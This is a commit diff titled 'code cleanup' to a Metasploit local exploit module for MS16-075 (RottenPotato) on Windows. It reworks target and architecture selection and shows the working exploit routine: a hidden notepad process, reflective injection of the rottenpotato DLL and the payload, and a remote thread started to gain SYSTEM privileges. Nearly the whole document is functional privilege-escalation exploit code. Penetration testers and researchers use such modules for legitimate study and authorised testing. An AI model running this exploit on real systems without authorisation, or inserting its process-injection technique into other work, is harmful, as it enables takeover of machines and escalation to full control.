code cleanup

modules/exploits/windows/local/ms16_075_reflection.rb

@@ -40,6 +40,7 @@ class MetasploitModule < Msf::Exploit::Local
         },
       'Targets'        =>
         [
+          [ 'Automatic', {} ],
           [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
           [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
         ],
@@ -60,44 +61,62 @@ class MetasploitModule < Msf::Exploit::Local
     }))
   end
 
-  def check_arch
-    os = sysinfo["OS"]
-
-    if sysinfo["Architecture"] =~ /(wow|x)64/i
-      if session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"] == "\x00\x00\x00\x00"
-        arch = ARCH_X64
-      else
-        arch = ARCH_X86
+  def assign_target()
+    if target.name == 'Automatic'
+      case sysinfo["Architecture"]
+        when 'x86'
+          vprint_status("Found we are on an x86 target")
+          my_target = targets[1]
+        when 'x64'
+          vprint_status("Found we are on an x64 target")
+          my_target = targets[2]
+        else
+          fail_with(Failure::NoTarget, "Unable to determine target")
       end
-    elsif sysinfo["Architecture"] == ARCH_X86
-      arch = ARCH_X86
+    else
+      my_target = target
     end
-
-    return arch
+    return my_target
   end
 
+  def verify_arch(my_target)
+    if my_target["Arch"] != sysinfo["Architecture"]
+      print_error("Assigned Target Arch = #{my_target.opts["Arch"]}")
+      print_error("Actual Target Arch = #{sysinfo["Architecture"]}")
+      fail_with(Failure::BadConfig, "Assigned Arch does not match reality")
+    end
+    if client.arch != sysinfo["Architecture"]
+      fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported")
+    else
+      vprint_good("Current payload and target Arch match....")
+    end
+  end
+  
   def check
     privs = client.sys.config.getprivs
     if privs.include?('SeImpersonatePrivilege')
       return Exploit::CheckCode::Detected
     end
-
     return Exploit::CheckCode::Safe
   end
 
   def exploit
-    if check == Exploit::CheckCode::Safe
-      fail_with(Failure::None, 'User does not have the SeImpersonate Privilege')
-    end
-
     if is_system?
       fail_with(Failure::None, 'Session is already elevated')
     end
-
-    if sysinfo["Architecture"] =~ /wow64/i
-      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
+    my_target = assign_target()
+    print_status("#{my_target["arch"]}")
+    verify_arch(my_target)
+    check()
+    if my_target.opts["Arch"] == 'x64'
+      dll_file_name = 'rottenpotato.x64.dll'
+      vprint_status("Assigning payload rottenpotato.x64.dll")
+    elsif my_target.opts["Arch"] == 'x86'
+      dll_file_name = 'rottenpotato.x86.dll'
+      vprint_status("Assigning payload rottenpotato.x86.dll")
+    else
+      fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
     end
-
     print_status('Launching notepad to host the exploit...')
     notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
     begin
@@ -107,29 +126,17 @@ class MetasploitModule < Msf::Exploit::Local
       print_error('Operation failed. Trying to elevate the current process...')
       process = client.sys.process.open
     end
-
     print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
-    architecture = check_arch
-    if architecture == ARCH_X64
-      dll_file_name = 'rottenpotato.x64.dll'
-    else
-      dll_file_name = 'rottenpotato.x86.dll'
-    end
-
     library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name)
     library_path = ::File.expand_path(library_path)
-
     print_status("Injecting exploit into #{process.pid}...")
     exploit_mem, offset = inject_dll_into_process(process, library_path)
-
     print_status("Exploit injected. Injecting payload into #{process.pid}...")
     payload_mem = inject_into_process(process, payload.encoded)
-
     # invoke the exploit, passing in the address of the payload that
     # we want invoked on successful exploitation.
     print_status('Payload injected. Executing exploit...')
     process.thread.create(exploit_mem + offset, payload_mem)
-
     print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
   end
 end